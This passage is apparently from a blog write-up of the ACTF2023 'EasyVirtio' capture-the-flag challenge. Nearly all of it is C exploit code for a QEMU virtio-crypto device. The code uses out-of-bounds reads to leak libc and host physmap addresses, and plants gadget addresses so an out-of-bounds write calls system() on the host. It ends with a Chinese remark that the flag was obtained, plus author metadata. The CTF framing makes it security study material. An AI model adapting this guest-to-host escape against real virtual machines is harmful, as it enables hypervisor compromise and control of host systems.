mmio_write(0x3000, 0);

}

void oob_read(){
avail->idx = ++vq_avail_idx;
avail->ring[vq_last_avail_idx ++] = 0;

op_data->header.opcode = VIRTIO_CRYPTO_CIPHER_ENCRYPT;
op_data->u.sym_req.op_type = VIRTIO_CRYPTO_SYM_OP_CIPHER;
op_data->u.sym_req.u.cipher.para.src_data_len = 0xa88;

desc[0].flags = VRING_DESC_F_NEXT;
desc[0].addr = gva_to_gpa(op_data);
desc[0].len = 0xc00;
desc[0].next = 1;

desc[1].flags = VRING_DESC_F_WRITE;
desc[1].addr = gva_to_gpa(read_buf);
desc[1].len = 0xc00;
desc[1].next = 0;

mmio_write(0x3000, 0);

}


void create_session(){
avail->idx = 2;
avail->ring[0] = 0;
avail->ring[1] = 2;

ctrl_header = buf + 0x200;
ctrl_header->header.opcode = VIRTIO_CRYPTO_CIPHER_CREATE_SESSION;
ctrl_header->u.sym_create_session.op_type = VIRTIO_CRYPTO_SYM_OP_CIPHER;
ctrl_header->u.sym_create_session.u.cipher.para.algo = VIRTIO_CRYPTO_CIPHER_AES_ECB;
ctrl_header->u.sym_create_session.u.cipher.para.op = VIRTIO_CRYPTO_OP_ENCRYPT;
ctrl_header->u.sym_create_session.u.cipher.para.keylen = 0x10;

desc[0].flags = VRING_DESC_F_NEXT;
desc[0].addr = gva_to_gpa(ctrl_header);
desc[0].len = 0x100;
desc[0].next = 1;

desc[1].flags = VRING_DESC_F_WRITE;
desc[1].addr = gva_to_gpa(read_buf);
desc[1].len = 0x20;
desc[1].next = 0;

ctrl_header = buf + 0x300;
ctrl_header->header.opcode = VIRTIO_CRYPTO_CIPHER_CREATE_SESSION;
ctrl_header->u.sym_create_session.op_type = VIRTIO_CRYPTO_SYM_OP_CIPHER;
ctrl_header->u.sym_create_session.u.cipher.para.algo = VIRTIO_CRYPTO_CIPHER_AES_ECB;
ctrl_header->u.sym_create_session.u.cipher.para.op = VIRTIO_CRYPTO_OP_DECRYPT;
ctrl_header->u.sym_create_session.u.cipher.para.keylen = 0x10;

desc[2].flags = VRING_DESC_F_NEXT;
desc[2].addr = gva_to_gpa(ctrl_header);
desc[2].len = 0x100;
desc[2].next = 3;

desc[3].flags = VRING_DESC_F_WRITE;
desc[3].addr = gva_to_gpa(read_buf);
desc[3].len = 0x20;
desc[3].next = 0;

mmio_write(0x3004, 0);
}

void cipher_en(void *data_buf, int len){
avail->idx = ++vq_avail_idx;
avail->ring[vq_last_avail_idx ++] = 0;

op_data->header.opcode = VIRTIO_CRYPTO_CIPHER_ENCRYPT;
op_data->header.session_id = 0;
op_data->u.sym_req.op_type = VIRTIO_CRYPTO_SYM_OP_CIPHER;
op_data->u.sym_req.u.cipher.para.src_data_len = len;
op_data->u.sym_req.u.cipher.para.dst_data_len = len;

void *encode_data = (void*)op_data + sizeof(struct virtio_crypto_op_data_req);
memcpy(encode_data, data_buf, len);

desc[0].flags = VRING_DESC_F_NEXT;
desc[0].addr = gva_to_gpa(op_data);
desc[0].len = 0xc00;
desc[0].next = 1;

desc[1].flags = VRING_DESC_F_WRITE;
desc[1].addr = gva_to_gpa(read_buf);
desc[1].len = 0xc00;
desc[1].next = 0;

mmio_write(0x3000, 0);

}

void cipher_de(void *data_buf, int len){
avail->idx = ++vq_avail_idx;
avail->ring[vq_last_avail_idx ++] = 0;

op_data->header.opcode = VIRTIO_CRYPTO_CIPHER_DECRYPT;
op_data->header.session_id = 1;
op_data->u.sym_req.op_type = VIRTIO_CRYPTO_SYM_OP_CIPHER;
op_data->u.sym_req.u.cipher.para.src_data_len = len;
op_data->u.sym_req.u.cipher.para.dst_data_len = len;

void *decode_data = (void*)op_data + sizeof(struct virtio_crypto_op_data_req);
memcpy(decode_data, data_buf, len);

desc[0].flags = VRING_DESC_F_NEXT;
desc[0].addr = gva_to_gpa(op_data);
desc[0].len = 0xc00;
desc[0].next = 1;

desc[1].flags = VRING_DESC_F_WRITE;
desc[1].addr = gva_to_gpa(read_buf);
desc[1].len = 0xc00;
desc[1].next = 0;

mmio_write(0x3000, 0);
}

void oob_write(){
avail->idx = ++vq_avail_idx;
avail->ring[vq_last_avail_idx ++] = 0;

op_data->header.opcode = VIRTIO_CRYPTO_CIPHER_ENCRYPT;
op_data->header.session_id = 1;
op_data->u.sym_req.op_type = VIRTIO_CRYPTO_SYM_OP_CIPHER;
op_data->u.sym_req.u.cipher.para.src_data_len = 0x5d0;
op_data->u.sym_req.u.cipher.para.dst_data_len = 0;

// void *payload = (void*)op_data + sizeof(struct virtio_crypto_op_data_req);
// memcpy(payload, data_buf, len);

desc[0].flags = VRING_DESC_F_NEXT;
desc[0].addr = gva_to_gpa(op_data);
desc[0].len = 0xc00;
desc[0].next = 1;

desc[1].flags = VRING_DESC_F_WRITE;
desc[1].addr = gva_to_gpa(read_buf);
desc[1].len = 0x800;
desc[1].next = 0;

mmio_write(0x3000, 0);

}

int main(){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource4", O_RDWR | O_SYNC);
mmio = mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(buf, 0, 0x1000);
desc = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(desc, 0, 0x1000);
read_buf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(read_buf, 0, 0x1000);

avail = buf;
op_data = buf + 0x400;

init_virtio();
init_heap();
sleep(1);

oob_read();
sleep(1);
size_t leak_libc_addr = *(size_t*)(read_buf + 0x18);
size_t libc_base = leak_libc_addr - 0x219ce0; //0x578d50;
size_t system_addr = libc_base + 0x50d70;
printf("[*] leak_libc_base_addr_is %#lx\n", libc_base);

size_t leak_physmap_addr = *(size_t*)(read_buf + 0x28);
size_t physmap_base = leak_physmap_addr - gva_to_gpa(op_data);
printf("[*] leak_host_physmap_base_addr_is %#lx\n", physmap_base);

create_session();
sleep(1);

//0x0000000000094ab6 : mov rdi, qword ptr [rax + 0x648] ; call qword ptr [rax + 0x640]
//0x000000000015ff54 : call qword ptr [rdi + 0x40]
size_t *payload = buf + 0x100;
char *cmd = buf + 0x140;
memcpy(cmd, "cat flag", 8);
*(size_t*)(cmd + 0x40) = system_addr;
payload[0] = libc_base + 0x94ab6;
payload[4] = libc_base + 0x15ff54;
payload[5] = physmap_base + gva_to_gpa(cmd);


cipher_en(payload, 0x40);
sleep(1);
memcpy((void*)op_data + sizeof(struct virtio_crypto_op_data_req), read_buf, 0x40);

//getchar();
oob_write();
}

最后在docker环境中测试也是可以成功拿到flag


ACTF2023 EasyVirtio
https://xtxtn.github.io/2023/11/02/ACTF2023/
作者
xtxtn
发布于
2023年11月2日
更新于
2024年1月19日
许可协议